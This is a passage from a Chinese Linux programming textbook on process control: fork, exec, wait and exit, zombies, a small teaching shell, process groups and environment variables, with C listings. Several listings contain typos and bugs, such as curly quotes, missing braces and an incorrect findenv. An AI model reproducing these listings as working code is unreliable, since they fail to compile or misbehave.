户对此程序的执行均作为一个单独的进程。 在 UNIX 中,一个进程又可以启动另一个进程,这就给 UNIX 的进程环境提供了一个 象文件系统目录树那样的层次结构。进程树的顶端是一个控制进程,它是一个名为 init 的 程序的执行,该进程是所有用户进程的祖先。 Linux 同样向程序员提供一些进程控制方面的系统调用,其中最重要的有以下几个: 1.fork()。它通过复制调用进程来建立新的进程,它是最基本的进程建立操作。 2.exec。它包括一系列的系统调用,其中每个系统调用都完成相同的功能,即通过用 一个新的程序覆盖原内存空间,来实现进程的转变。各种 exec 系统调用之间的区别仅在于 它们的参数构造不同。 3.wait()。它提供了初级的进程同步措施,它能使一个进程等待,直到另一个进程结 束为止。 4.exit()。这个系统调用常用来终止一个进程的运行。 在下面,我们将对 Linux 的进程进行详细的讨论,并要对以上系统调用作出详细的介 绍。 3.1.2 进程的建立 系统调用 fork()是建立进程的最基本操作,它是把 Linux 变换为多任务系统的基础。fork() 在 Linux 系统库 unistd.h 中的函数声明如下: pid_t fork(void); 如果 fork()调用成功,就会使内核建立一个新的进程,所建的新进程是调用 fork()的进 程的副本。也就是说,新的进程运行与其创建者一样的程序,其中的变量具有与创建进程 那变量相同的值。但是这两个进程间还是有差距的,我们在下面将详细的讨论。 第三章 进程控制 - 23 - 新建立的进程被成为子进程(child process),那个调用 fork()建立此新进程的进程被称 为父进程(parent process)。以后,父进程与子进程就并发执行,它们都从 fork()调用后的 那句语句开始执行。 有些读者可能习惯于纯串行的程序设计环境,一开始对 fork()调用的理解可能会有一 些困难。图 3-1 给出了 fork()调用的情况,有助于对 fork()调用的理解。图中给出了三个语 句,先是调用 printf(),随后调用 fork(),然后又调用 printf()。 图 3- 1 fork()调用执行示意图 如图 3-1,它分为 fork()调用前和调用后两部分。调用前的那一部分给出了进程 A 调用 fork()的情况。PC(程序计数器)指向当前执行的语句。这时它指向第一个 printf 语句。调 用后那一部分给出了调用 fork()以后的情况。这时进程 A 和 B 一起运行,进程 A 是父进程, 进程 B 是子进程,它是进程 A 的副本,执行与 A 一样的程序。两个 PC 都指向第二个 printf 语句,即 fork()调用之后的语句。也就是说,A 和 B 都从程序的相同点开始执行。 系统调用 fork()没有参数,它返回一个 pid_t 类型的值 pid。pid 被用来区分父进程和子 进程。在父进程中,pid 被置为一个非 0 的正整数;在子进程中,pid 被置为 0。根据 fork() 在父进程和子进程中的返回值不同,程序员可以据此为两个进程指定不同的工作。 在父进程中,pid 中返回的数是子进程的进程标识符。这个数用于在系统中表示一个进 程,就像用户标识符标识一个用户那样。因为所有的进程都是通过 fork()调用形成的,所以 每个 UNIX 进程都有自己的进程标识符,而且它是唯一的。 下面请大家看一个程序,从中可以看到系统调用 fork()的作用,以及进程标识符的使 用情况: - 24 - Linux网络编程 #include <stdio.h> #include <unistd.h> main() { pid_t pid; printf(“Now only one process\n”); printf(“Calling fork…\n”); pid=fork(); if (!pid) printf(“I’m the child\n”); else if (pid>0) printf(“I’m the parent, child has pid %d\n”,pid); else print (“Fork fail!\n”); } fork 调用后面的条件语句有三个分支:第一个分支对应于 pid 的值为零,它给出了子 进程的工作;第二个分支对应于 pid 之值为正数,它给出了父进程的工作。第三个分支对 应于 pid 之值为负数(实际为-1),它给出了 fork 建立子进程失败时所作的工作。当系统那 进程总数已达到系统规定的最大数,或者是用户可建立的进程数已达到系统规定的最大数 时,这时再调用 fork,则会导致失败,并在 errno 中含有出错代码 EAGAIN。我们还应该 注意到。上述两个进程间没有同步措施,所以父进程和子进程的输出内容有可能会叠加在 一起。 从上面的讨论可以直到,fork()调用是一个非常有用的系统调用。如果把它隔离起来单 独看的话,其似乎是空洞无意义的。但是,当它与其它的 Linux 功能结合起来时,就显现 出了它的价值。例如,可以用 Linux 提供的进程间通信机构(如信号和管道等),使父进程 与子进程协作完成彼此有关的不同任务。经常与 fork()配合使用的另一个系统调用是 exec, 我们即将在下面讨论它。 3.1.3 进程的运行 1.系统调用 exec 系列 如果 fork()是程序员唯一可使用的建立进程的手段,那么 Linux 的性能会受很大影响。 因为 fork()只能建立相同程序的副本。幸运的是,Linux 还提供了系统调用 exec 系列,它可 以用于新程序的运行。exec 系列中的系统调用都完成相同的功能,它们把一个新程序装入 调用进程的内存空间,来改变调用进程的执行代码,从而形成新进程。如果 exec 调用成功, 调用进程将被覆盖,然后从新程序的入口开始执行。这样就产生了一个新的进程,但是它 的进程标识符与调用进程相同。这就是说,exec 没有建立一个与调用进程并发的新进程, 而是用新进程取代了原来的进程。所以,对 exec 调用成功后,没有任何数据返回,这与 fork() 不同。下面给出了 exec 系列调用在 Linux 系统库中 unistd.h 中的函数声明: int execl( const char *path, const char *arg, ...); int execlp( const char *file, const char *arg, ...); int execle( const char *path, const char *arg , ..., char* const envp[]); int execv( const char *path, char *const argv[]); int execvp( const char *file, char *const argv[]); 第三章 进程控制 - 25 - 为了使事情简单明了,我们将着重讨论 exec 系列中的一个系统调用,即 execl()。execl() 调用的参数均为字符型指针,第一个参数 path 给出了被执行的程序所在的文件名,它必须 是一个有效的路径名,文件本身也必须含有一个真正的可执行程序。但是不能用 exec()l 来 运行一个 shell 命令组成的文件。系统只要检查文件的开头两个字节,就可以知到该文件是 否为程序文件(程序文件的开头两个字节是系统规定的专用值)。第二个以及用省略号表示 的其它参数一起组成了该程序执行时的参数表。按照 Linux 的惯例,参数表的第一项是不 带路径的程序文件名。被调用的程序可以访问这个参数表,它们相当于 shell 下的命令行参 数。实际上,shell 本身对命令的调用也是用 exec 调用来实现的。由于参数的个数是任意的, 所以必须用一个 null 指针来标记参数表的结尾。下面给出一个使用 execl 调用来运行目录 列表程序 ls 的例子: #include <stdio.h> #include <unistd.h> main() { printf(“Executing ls\n”); execl(“/bin/ls”,”ls”,”-l”,NULL); /* 如果 execl返回,说明调用失败 */ perror(“execl failed to run ls”); exit(1); } 我们用图 3-2 来表示该程序的工作情况。调用前那一部分给出了 execl()即将执行之前 时的进程情况,调用后那一部分给出了被改变进程的情况,它现在运行 ls 程序。程序计数 器 PC 指向 ls 的第一行,表明 execl()导致从新程序的入口开始执行。 请注意,程序在 execl()调用后紧跟着一个对库例行程序 perror()的无条件调用。这是因 为,如果调用程序还存在,并且 execl()调用返回,那么肯定是 execl()调用出错了。这时,execl() 和其它 exec 调用总是返回-1。这也就是说,只要 execl()和其它 exec 调用成功,就肯定清除 了调用程序而代之以新的程序。 exec 系列的其它系统调用给程序员提供使用 exec 功能的灵活性,它们能适用于多种形 式的参数表。execv()只有两个参数:第一个参数指向被执行的程序文件的路径名,第二个 参数 argv 是一个字符型指针的数组,如下所示: char *argv [] 这个数组中的第一个元素指向被执行程序的文件名(不含路径),剩下的元素指向程序 所用的参数。因为该参数表的长度是不确定的,所以要用 null 指针作结尾。 下面给出一个用 execv()运行 ls 命令的例子: #include <stdio.h> #include <unistd.h> main() { char* av[]={"ls","-l",NULL}; execv("/bin/ls",av); perror("execv failed"); - 26 - Linux网络编程 exit(1); } 图 3-2 exec()调用执行示意图 系统调用 execlp()和 execvp()分别类似于系统调用 execl()和 execv(),它们的主要区别 是:execlp()和 execvp()的第一个参数指向的是一个简单的文件名,而不是一个路径名。它 们通过检索 shell 环境变量 PATH指出的目录,来得到该文件名的路径前缀部分。例如,可 以在 shell 中用下述命令序列来设置环境变量 PATH: $PATH=/bin;/usr/bin;/sbin $export PATH 这就使 execlp()和 execvp()首先在目录/bin,然后在目录/usr/bin,最后在目录/sbin 中搜索 程序文件。另外,execlp 和 execvp 还可以用于运行 shell 程序,而不只是普通的程序。 2.对 exec 传送变量的访问 任何被 exec 调用所执行的程序,都可以访问 exec 调用中的参数。这些参数是调用 exec 的程序传送给它的。我们可以通过定义程序 main()函数的参数来使用这些参数,方法如下: main( int argc, char* argv[] ); 这对于大多数人来说应该是熟悉的,这种方法就是 C 语言程序访问命令行参数的方法。 这也显示了 shell 本身就是使用 exec 启动进程的。 以上说明的 main()函数中,argc 是参数计数器,argv 指向参数数组本身。所以,用 execvp() 执行一个程序,如下所示: chat* argin[]={“command”, “with”, “argument”, NULL}; 当 prog 程序启动后,它取得的 argc 和 argv 之值如下: argc=3; argv[0]=”command”; argv[1]=”with”; argv[2]=”argument”; 第三章 进程控制 - 27 - argv[3]=NULL; 为了进一步说明这种参数传递技术,请考虑下列程序 showarg: #include <stdio.h> main(int argc,char* argv[]) { while(--argc>0) { printf("%s ",*(++argv)); printf("\n");] } 这个程序的工作是把它的参数(除第一个参数外)的值送标准输出。如果用如下程序 段来调用 showarg 的话,则其 argc 参数为 3,输出结果为:”hello world”。 char* argin[]={"showarg", "hello", "world", NULL}; execvp(argin[0],argin); 3.exec 和 fork()的联用 系统调用 exec 和 fork()联合起来为程序员提供了强有力的功能。我们可以先用 fork()建 立子进程,然后在子进程中使用 exec,这样就实现了父进程运行一个与其不同的子进程,并 且父进程不会被覆盖。 下面我们给出一个 exec 和 fork()联用的例子,从中我们可以清楚的了解这两个系统调 用联用的细节。其程序清单如下: #include <stdio.h> #include <unistd.h> main() { int pid; /* fork 子进程 */ pid=fork(); switch(pid) { case -1: perror("fork failed"); exit(1); case 0: execl("/bin/ls","ls","-l","--color",NULL); perror("execl failed"); exit(1); default: wait(NULL); printf("ls completed\n"); exit(0); } } 在程序中,在调用 fork()建立一个子进程之后,马上调用了 wait(),使父进程在子进程 - 28 - Linux网络编程 结束之前,一直处于睡眠状态。所以,wait()向程序员提供了一种实现进程之间同步的简单 方法,我们将在下面对它作出更详细的讨论。 为了说明得更清楚一些,我们用图 3-3 来解释程序的工作。图 3-3 分为 fork()调用前、 fork()调用后和 exec 调用后三个部分。 图 3-3 exec()和 fork()的联用 在 fork()调用前,只有一个进程 A,PC 指向将要执行的下一个语句。fork()调用后,就 有了进程 A 和进程 B。A 是父进程,它正在执行系统调用 wait(),使进程 A 睡眠,直至进 程 B 结束。同时,B 正在用 exec 装入命令 ls。exec 调用后,进程 B 的程序被 ls 的代码取 代,这时执行 ls 命令的代码。进程 B 的 PC 指向 ls 的第一个语句。由于 A 正在等待 B 的 结束,所以它的 PC 所指位置未变。 现在我们应该了解命令解释程序 shell 的工作概况。当 shell 从命令行接受到以正常方 式(即前台运行)执行一个命令或程序的要求时,它就按上述方法调用 fork()、exec 和 wait(), 以实现命令或程序的执行。当要求在后台执行一个命令或程序时,shell 就省略对 wait 的调 用,使得 shell 和命令进程并发运行。 为了帮助读者进一步熟悉和掌握 fork()和 exec 的使用,我们再来看一个名为 docommand 的程序,这个程序仿真 Linux 库调用 system(),它可以在程序中执行一个 shell 命令。 docommand 的主题是对 fork()和 exec 的调用。程序清单如下: int docommand(char* command) { int pid; switch(pid=fork()) { 第三章 进程控制 - 29 - case -1: return -1; case 0: execl("/bin/sh","sh","-c",command,NULL); exit(127); default: wait(NULL); } return 0; } docommand 并没有通过 exec 去直接执行指定的命令,而是通过 exec 去执行 shell(即 /bin/sh),并由 shell 再执行指定的命令。这是一种非常巧妙的方法,它使得 docommand 能 使用 shell 提供的一系列特性(如文件名扩展等)。在引用 shell 中使用的参数-c,表示从下 一个参数中取得命令名,而不是从标准输入上取得。 3.1.4 数据和文件描述符的继承 1.fork()、文件和数据 用系统 fork()建立的子进程几乎与其父进程完全一样。子进程中的所有变量均保持它 们在父进程中之值(fork()的返回值除外)。因为子进程可用的数据是父进程可用数据的拷 贝,并且其占用不同的内存地址空间,所以必须要确保以后一个进程中变量数据的变化, 不能影响到其它进程中的变量。这一点非常重要。 另外,在父进程中已打开的文件,在子进程中也已被打开,子进程支持这些文件的文 件描述符。但是,通过 fork()调用后,被打开的文件与父进程和子进程存在着密切的联系, 这是以为子进程与父进程公用这些文件的文件指针。这就有可能发生下列情况:由于文件 指针由系统保存,所以程序中没有保存它的值,从而当子进程移动文件指针时,也等于移 动了父进程的文件指针。这就可能会产生意想不到到结果。 为了说明上述情况,我们给出一个实例程序 proc_file。在这个程序中使用了两个预定 义的函数 failure()和 printpos()。failure()用来完成简单的出错处理,它只是调用 perror()来显 示出错信息。其实现如下: failure( char* s) { perror(s); exit(1); } printpos()实现显示一个文件的文件指针之值,其实现如下: printpos( char* string, int fildes) { long pos; if ((pos=lseek(fildes,0L,1)<0L) failure(“lseek failed”); printf(“%s: %ld \n”,string,pos); } 另外我们还假定文件 data 已经存在,并且它的长度不小于 20 个字符。下面给出程序 proc_file 的清单: - 30 - Linux网络编程 #include <stdio.h> #include <unistd.h> #include <fcntl.h> failure( char* s) { perror(s); exit(1); } printpos( char* string, int fildes) { long pos; if ((pos=lseek(fildes,0L,1))<0L) failure("lseek failed"); printf("%s: %ld \n",string,pos); } main() { int fd; /* 文件描述符 */ int pid;/* 进程标识符 */ char buf[10]; /* 数据缓冲区 */ /* 打开文件 */ if ((fd=open("data",O_RDONLY))<0) failure("open failed"); read(fd,buf,10); /* advance file pointer */ printpos("Before fork",fd); /* fork 新进程 */ if ((pid=fork())<0) failure("fork failed"); else if (!pid) /* 子进程 */ printpos("Child before read",fd); read(fd,buf,10); printpos("child after read",fd); } else { /* 父进程 */ /* 等待子进程运行结束 */ wait(NULL); printpos("parent after wait",fd); } } 该程序运行结果如下: 第三章 进程控制 - 31 - Before fork: 10 Child before read: 10 child after read: 20 parent after wait: 20 这充分证明了文件指针为两个进程共用这一事实。 2.exec()和打开文件 当一个程序调用 exec 执行新程序时,在程序中已被打开的文件,其在新程序中仍保持 打开。这就是说,已打开文件描述符能通过 exec 被传送给新程序,并且这些文件的指针也 不会被 exec 调用改变。 这儿,我们要介绍一个与文件有关的执行关闭位(close-on-exec),该位被设置的话, 则调用 exec 时会关闭相应的文件。该位的默认值为非设置。例行程序 fcntl 能用于对这一 标志位的操作,下面的程序段给出了设置“ 执行关闭” 位的方法。 #include <fcntl.h> … … … int fd; fd=open(“file”,O_RDONLY); … … fcntl(fd,F_SETFD,1); 如果已经设置了执行关闭位,我们可以用下面的语句来撤销“ 执行关闭“ 位的设置, 并取得它的返回值: res=fcntl(fd,F_SETFD,0); 如果文件描述符所对应的文件的“ 执行关闭位” 已经被设置,则 res 为 1,否则 res 之值 为 0。 3.2 进程的控制操作 3.2.1 进程的终止 系统调用 exit()实现进程的终止。exit()在 Linux 系统函数库 stdlib.h 中的函数声明如下: void exit(int status); exit()只有一个参数 status,称作进程的退出状态,父进程可以使用它的低 8 位。exit() 的返回值通常用于指出进程所完成任务的成败。如果成功,则返回 0;如果出错,则返回 非 0 值。 exit()除了停止进程的运行外,它还有一些其它作用,其中最重要的是,它将关闭所有 已打开的文件。如果父进程因执行了 wait()调用而处于睡眠状态,那么子进程执行 exit()会 重新启动父进程运行。另外,exit()还将完成一些系统内部的清除工作,例如缓冲区的清除 工作等。 除了使用 exit()来终止进程外,当进程运行完其程序到达 main()函数末时,进程会自动 终止。当进程在 main()函数内执行一个 return 语句时,它也会终止。 在 Linux 中还有一个用于终止进程的系统调用_exit()。它在 Linux 系统函数库 unistd.h 中被声明: - 32 - Linux网络编程 void _exit(int status) 其使用方法与 exit()完全相同,但是它执行终止进程的动作而没有系统内部的清除工 作。因此,只有那些对系统内部了解比较深的程序员才使用它。 3.2.2 进程的同步 系统调用 wait()是实现进程同步的简单手段,它在 Linux 系统函数库 sys/wait.h 中的函 数声明如下: pid_t wait(int *status) 我们在前面已经看到了,当子进程执行时,wait()可以暂停父进程的执行,使起等待。 一旦子进程执行完,等待的父进程就会重新执行。如果有多个子进程在执行,那么父进程 中的 wait()在第一个子进程结束时返回,恢复父进程执行。 通常情况下,父进程调用 fork()后要调用 wait()。例如: pid=fork(); if (!pid){ /* 子进程 */ } else { /* 父进程 */ wait(NULL); } 当希望子进程通过 exec 运行一个完全不同的进程时,就要进程 fork()和 wait()的联用。 wait()的返回值通常是结束的那个子进程的进程标识符。如果 wait()返回-1,表示没有子进 程结束,这时 errno 中含有出错代码 ECHILD。 wait()有一个参数,它可以是一个指向整型数的指针,也可以是一个 null 指针。如果参 数用了 null 指针,wait 就忽略它。如果参数是一个有效的指针,那么 wait 返回时,该指针 就指向子进程退出时的状态信息。通常,该信息就是子进程通过 exit 传送出来的出口信息。 下面的程序 status 就给出了这种情况下,wait 的使用方法。 #include <stdio.h> #include <unistd.h> #include <sys/wait.h> main() { int pid,status,exit_status; if ((pid=fork()) <0) { perror("fork failed"); exit(1); } if (!pid) /* 子进程 */ sleep(4); exit(5); /* 使用非零值退出,以便主进程观察 */ 第三章 进程控制 - 33 - } /* 父进程 */ if (wait(&status) <0) { perror("wait failed"); exit(1); } /* 将 status 与 0xFF(255)与来测试低 8 位 */ if (status & 0xFF) printf("Somne low-roderbits not zero\n"); else { exit_status=status >> 8; exit_status &=0xFF; printf("Exit status from %d was %d\n", pid,exit_status); } exit(0); } 虽然这个过程看起来有一点复杂,但是其含义十分清除:通过 exit 返回给父进程之值 存放在 exit_status 的低位中,为了使其有意义,exit_status 的高 8 位必须为 0(注意,在整 型量中,低 8 位在前,高 8 位在后)。因此从 wait()返回后,就可以用按位与操作进行测试, 如果它们不为 0,表示该子进程是被另一个进程用一种称为信号的通信机构停止的,而不 是通过 exit()结束的。 3.2.3 进程终止的特殊情况 我们在前面讨论了用 wait()和 exit()联用来等待子进程终止的情况。但是,还有两种进 程终止情况值得讨论。这两种情况为: 1.子进程终止时,父进程并不正在执行 wait()调用。 2.当子进程尚未终止时,父进程却终止了。 在第一种情况中,要终止的进程就处于一种过渡状态(称为 zombie),处于这种状态 的进程不使用任何内核资源,但是要占用内核中的进程处理表那的一项。当其父进程执行 wait()等待子进程时,它会进入睡眠状态,然后把这种处于过渡状态的进程从系统内删除, 父进程仍将能得到该子进程的结束状态。 在第二种情况中,一般允许父进程结束,并把它的子进程(包括处于过渡状态的进程) 交归系统的初始化进程所属。 3.2.4 进程控制的实例 在这一部分,我们将利用前面介绍的进程控制的知识,来构造一个简单的命令处理程 序,取名为 smallsh。这样作有两个目的:第一,可以巩固和发展我们在这一章中介绍的概 念;第二,它展示了标准的 Linux 系统程序也没有什么特别的东西。特别是,它表明了 shell 也只是一个在用户注册时调用的普通程序。 smallsh 的基本功能是:它能在前台或后台接收命令并执行它们。它还能处理由若干个 命令组成的命令行。它还具有文件名扩展和 I/O 重定向等功能。 smallsh 的基本逻辑如下: - 34 - Linux网络编程 while (EOF not typed) { 从用户终端取得命令行 执行命令行 } 我们把取命令行内容用一个函数来完成,并取名为 userin。userin 能显示提示符,然后 等待用户从键盘输入一命令行信息。它接收到的输入内容应存入程序的一个缓冲区中。 我们可以忽略到一些初始化工作,但是,userin 的基本步骤是:首先显示提示符,提 示符的具体内容由用户通过参数传送给函数;然后每次从键盘读一个字符,当遇到换行符 或文件结束符(用 EOF 符号表示)时,就结束。 我们用的基本输入例程是 getchar,它实际上是标准 I/O 库中的一个宏(macro),它从 程序的标准输入读入一个字符,userin 把每个读入的字符都存入字符型数组 inpbuf 中,当 它结束时,userin 就返回读入字符的个数或 EOF(表示文件结尾)。注意,换行符也要存入 inpbuf,而不能丢弃。 函数 userin 的代码如下: #include "smallsh.h" /* 程序缓冲区和指针 */ static char inpbuf[MAXBUF],tokbuf[2*MAXBUF], *ptr =inpbuf,*tok=tokbuf; /* userin()函数 */ int userin(chat* p) { int c,count; ptr=inpbuf; tok=tokbuf; /* 显示提示 */ printf("%s ",p); for (count=0;;) { if ((c=getchar())==EOF) return(EOF); if (count<MAXBUF) inpbuf[count++]=c; if (c =='\n' && count <MAXBUF) { inpbuf[count]='\0'; return(count); } /* 如果行过长重新输入 */ if (c=='\n') { printf("smallsh:input line too long\n"); count=0; printf("%s ",p); } } 第三章 进程控制 - 35 - } 头文件 smallsh.h 中含有一些有用的定义,该文件的内容如下所示: #include <stdio.h> #define EOL 1 /* 行结束 */ #define ARG 2 #define AMPERSAND 3 #define SEMICOLON 4 #define MAXARG 512 /* 命令行参数个数的最大值 */ #define MAXBUF 512 /* 输入行的最大长度 */ #define FOREGROUND 0 #define BACKGROUND 1 上述文件中定义的内容,有一些未被 userin 引用,我们将在后面的例程中引用它们。 smallsh.h 文件中还蕴涵了标准头文件 stdio.h,它为我们提供了 getchar 和 EOF 的定义。 接下来我们看一下 gettok,它从 userin 构造的命令行缓冲区中分析出命令名和参数。 gettok 的调用方法为: toktype=gettok(&tptr); toktype 是一个整型变量,它的值指出分析出内容之类型。它的取值范围可以从 smallsh.h 中得到,包括 EOL,SEMICOLON 等。tptr 是一个字符型指针,gettok 调用后,该指针指 向实际的析出内容。由于 gettok 要为分析出的内容分配存贮区,所以我们必须传送 tptr 的 地址,而不是它的值。 下面给出 gettok 的程序。由于它引用了字符指针 tok 和 ptr,所以它必须与 userin 放在 同一个源文件中。现在可以知道在 userin 的开头初始化 tok 和 ptr 的原因了。 gettok(char* output) { int type; outptr=tok; /* 首先去除空白字符 */ for (;*ptr==''||*ptr=='\t';ptr++); *tok++=*ptr; switch(*ptr++) { case '\n': type=EOL;break; case '&': type=AMPERSAND;break; case ';': type=SEMICOLON;break; default: type=ARG; while (inarg(*ptr)) *tok++=*ptr++; } *tok++='\0'; - 36 - Linux网络编程 return (type); } 例行程序 inarg 用于确定一个字符是否可以作为参数的组成符。我们只要检查这个字符 是否是 smallsh 的特殊字符。inarg 的程序如下: static char special[]={‘ ‘,’\t’,’*’,’;’,’\n’,’\0’}; inarg(char c) { char *wrk; for (wrk=special;*wrk!=’\0’;wrk++) if (c==*wrk) return(0); return(1); } 在上面我们已经介绍了完成实际工作的几个函数。我们下面将介绍使用这些完成实际 工作的函数的例行程序。 例行程序 procline 使用函数 gettok()分析命令行,在处理过程中构造一张参数表。当它 遇到换行符或分号时,它就调用例行程序 runcommand 来执行被分析的命令行。它假定已 经用 userin 读入了一个输入行。下面给出例行程序 procline 的代码: #include "smallsh.h" procline() { char * arg[MAXARG+1]; int toktype; int narg; int type; for(narg=0;;) { switch(toktype=gettok(&arg[narg])) { case ARG: if (narg<MAXARG) narg++; break: case EOL: case SEMICOLON: case AMPERSAND: type=(toktype==AMPERSAND)? BACKGROUND:FOREGROUND; if (narg!=0) { arg[narg]=NULL; runcommand(arg,type); } if (toktype==EOL) 第三章 进程控制 - 37 - return; narg=0; break; } } } 下一步是说明 runcommand 例行程序,它实现启动命令进程。runcommand 在本质上是 前面介绍的例行程序 docommand 的改进。它设有一个整型参数 where,如果 where 之值被 设置为 BACKGROUND(在 smallsh.h 中被定义),那末将忽略 wait()调用,并且 runcommand 只显示进程标识符后就返回。下面给出 runcommand 的代码: #include "smallsh.h" runcommand(char** cline,int where) { int pid,exitstat,ret; if((pid=fork())<0) { perror("fork fail"); return(-1); } if (!pid) { /* 子进程代码 */ execvp(*cline,cline); perror(*cline); exit(127); } /* 父进程代码 */ /* 后台进程代码 */ if (where==BACKGROUND) { printf("[process id %d]\n",pid); return(0); } /* 前台进程代码 */ while ((ret=wait(&exitstat))!=pid && ret !=-1) ; return (ret==-1?-1:exitstat); } 在这里例行程序中,用下面的复杂循环代替了 docommand 中简单的 wait()调用: while (ret=wait(&exitstat))!=pid && ret!=-1); 这就可以保证,只有当最后被启动的子进程结束时,runcommand 才结束,这就避免了 后台命令中途结束带来的问题。如果觉得这看起来还不太清楚,那么请记住,wait()返回的 是第一个结束的子进程的进程标识符,而不是最后一个被启动的子进程的进程标识符。 runcommand 还使用了 execvp()系统调用,这意味着按当前环境变量 path 中的目录来搜 索命令中表明的程序文件。 最后一步是写出 main()函数,它把上面介绍的各个部分联系到一起,其程序如下: #include "smallsh.h" - 38 - Linux网络编程 char *prompt="command>"; main() { while (userin(prompt)!=EOF) procline(); } 3.3 进程的属性 每个 Linux 进程都具有一些属性,这些属性可以帮助系统控制和调度进程的运行,以 及维持文件系统的安全等。我们已经接触过一个进程属性,它就是进程标识符,用于在系 统内标识一个进程。另外还有一些来自环境的属性,它们确定了进程的文件系统特权。我 们在本节中还要介绍其它一些重要的进程属性。 3.3.1 进程标识符 系统给每个进程定义了一个标识该进程的非负正数,称作进程标识符。当某一进程终 止后,其标识符可以重新用作另一进程的标识符。不过,在任何时刻,一个标识符所代表 的进程是唯一的。系统把标识符 0 和 1 保留给系统的两个重要进程。进程 0 是调度进程, 它按一定的原则把处理机分配给进程使用。进程 1 是初始化进程,它是程序/sbin/init 的执 行。进程 1 是 UNIX 系统那其它进程的祖先,并且是进程结构的最终控制者。 利用系统调用 getpid 可以得到程序本身的进程标识符,其用法如下: pid=getpid(); 利用系统调用 getppid 可以得到调用进程的父进程的标识符,其用法如下: ppid=getppid(); 下面给出一个例子,其中的例行程序 gentemp 使用 getpid 产生一个唯一的临时文件名, 该文件名的形式为: /tmp/tmp<pid>.<no> 每对 getemp()调用一次,文件名的后缀 no 就增 1,文件名中的 pid 为用 getpid 取到的 进程标识符。该例行程序还调用 access 来检查该文件是否已经存在,更增加了可靠性。 例行程序 gentemp 的代码如下所示: #include <strings.h> #include <unistd.h> static int num=0; static char namebuf[20]; static char prefix[]="/tmp/tmp"; char* gentemp() { int length,pid; /* 获得进程标识符 */ 第三章 进程控制 - 39 - pid=getpid(); strcpy(namebuf,prefix); length=strlen(namebuf); /* 在文件名中增加 pid 部分 */ itoa(pid,&namebuf[length]); strcat(namebuf,"."); length=strlen(namebuf); do{ /* 增加后缀 number */ itoa(num++,&namebuf[length]); } while (access(namebuf,0)!=-1); return namebuf; } 在 gentemp 中调用了例行程序 itoa(),这个例行程序把一个整数转换成其对应的 ASCII 字符串。下面给出 itoa()的程序清单。请注意其中的第二个 for 循环体内的第一个语句,它 实现把一个数转换成其对应的 ASCII 字符。 /* itoa 把整型转换成字符串 */ itoa(int i,char* string) { int power, j; j=i; for (power=1;j>=10;j/=10) power*=10; for (;power>0;power/=10) { *string++=’0’+i/power; i%=power; } *string=’\0’; } 3.3.2 进程的组标识符 Linux 把进程分属一些组,用进程的组标识符来知识进程所属组。进程最初是通过 fork() 和 exec 调用来继承其进程组标识符。但是,进程可以使用系统调用 setpgrp(),自己形成一 个新的组。setpgrp()在 Linux 系统函数库 unistd.h 中的函数声明如下: int setpgrp(void); setpgrp()的返回值 newpg 是新的进程组标识符,它就是调用进程的进程标识符。这时, 调用进程就成为这个新组的进程组首(process group leader)。它所建立的所有进程,将继 承 newpg 中的进程组标识符。 一个进程可以用系统调用 getpgrp()来获得其当前的进程组标识符,getpgrp()在 Linux 系统函数库 unistd.h 中的函数声明如下: int setpgrp(void); - 40 - Linux网络编程 函数的返回值就是进程组的标识符。 进程组对于进程间的通信机构——信号来说,是非常有用的。我们将在下一章内讨论 它。现在,我们讨论进程组的另一个应用。当某个用户退出系统时,则相应的 shell 进程所 启动的全部进程都要被强行终止。系统是根据进程的组标识符来选定应该终止的进程的。 如果一个进程具有跟其祖先 shell 进程相同的组标识符,那末它的生命期将可超出用户的注 册期。这对于需要长时间运行的后台任务是十分有用的。 下面给出一个改变进程的组标识符的例子,它的效果相当于使用“ 不中止” 程序 nohup 的效果。 main() { int newpgid; /* 改变进程组 */ newpgid=setpgrp(); /* 程序体 */ ⋯ ⋯ ⋯ ⋯ } 3.3.3 进程环境 进程的环境是一个以 NULL 字符结尾的字符串之集合。在程序中可以用一个以 NULL 结尾的字符型指针数组来表示它。系统规定,环境中每个字符串形式如下: name=something Linux 系统提供了 environ 指针,通过它我们可以在程序中访问其环境内容。 在使用 environ 指针前,应该首先声明它: extern char **environ; 下面的这段代码(showenv.c)演示了如何通过 environ 指针访问环境变量: extern char** environ; main() { char** env=environ; while (*env) { printf(%s\n”,*env++); } return; } 下面是这个程序运行后的结果: HOME=/home/roy USER=roy LOGNAME=roy PATH=/usr/bin:/bin:/usr/local/bin:/usr/X11R6/bin 第三章 进程控制 - 41 - MAIL=/var/spool/mail/roy SHELL=/bin/tcsh SSH_CLIENT=192.168.35.72 1145 22 SSH_TTY=/dev/pts/0 TERM=ansi HOSTTYPE=i486-linux VENDOR=intel OSTYPE=linux MACHTYPE=i486 SHLVL=1 PWD=/home/roy/test GROUP=roy HOST=bbs HOSTNAME=bbs 以上的结果是运行该程序的 shell 进程环境,其中包括了像 HOME 和 PATH这些被 shell 使用的重要变量。 从这个例子中可以看到,一个进程的初始环境与用 fork()或 exec 建立它的父进程之环 境相同。由于环境可以通过 fork()或者 exec 被传送,所以其信息被半永久性的保存。对于 新建立的进程来说,可以重新指定新的环境。 如果要为进程指定新的环境,则需要使用 exec 系列中的两种系统调用:execle()和 execve()。它们在 Linux 系统函数库 unistd.h 中的函数声明如下: int execle( const char *path, const char *arg , ..., char * const envp[]); int execve (const char *filename, char *const argv [], char* const envp[]); 它们的调用方法分别类似于 execl()和 execv(),所不同的是它们增加了一个参数 envp, 这是一个以 NULL指针结束的字符数组,它指出了新进程的环境。下面的程序演示了execve() 的用法,它用 execve()把新的环境传送给上面的程序程序 showenv: #include <unistd.h> main() { char *argv[]={"showenv", NULL}, *envp[]={"foo=bar", "bar=foo", NULL}; execve("./showenv",argv,envp); perror("exeve failed."); return; } 程序执行结果如下: foo=bar bar=foo 最后我们利用 environ 指针构造一个函数 findenv(),其程序如下: extern char** environ; - 42 - Linux网络编程 char* findenv(char* name) { int len; char **p; for(p=environ;*p;p++) { if((len=pcmp(name,*p))>=0 && *(*(p+1))=='=") return *(p+l+1); } return NULL; } int pcmp(char* s1, char* s2) { int i=0; while(*s1) { i++; if (*s1++!=*s2++) return -1; } return i; } findenv()根据参数给出的字符串 name,扫描环境内容,找出“ name=string”这种形式 的字符串。如果成功,findenv()就返回一个指向这个字符串中”string”部分的指针。如果不 成功,就返回一个 NULL 指针。 在 Linux 的系统函数库 stdlib.h 中提供了一个系统调用 getenv(),它完成与 findenv()同 样的工作。另外还有一个与 getenv()相配对的系统调用 putenv(),它用于改变和扩充环境, 其使用方法为: putenv(“newvariable=value”); 如果调用成功,其就返回零。需要注意的是,它只能改变调用进程的环境,而父进程 的环境并不随之改变。 3.3.4 进程的当前目录 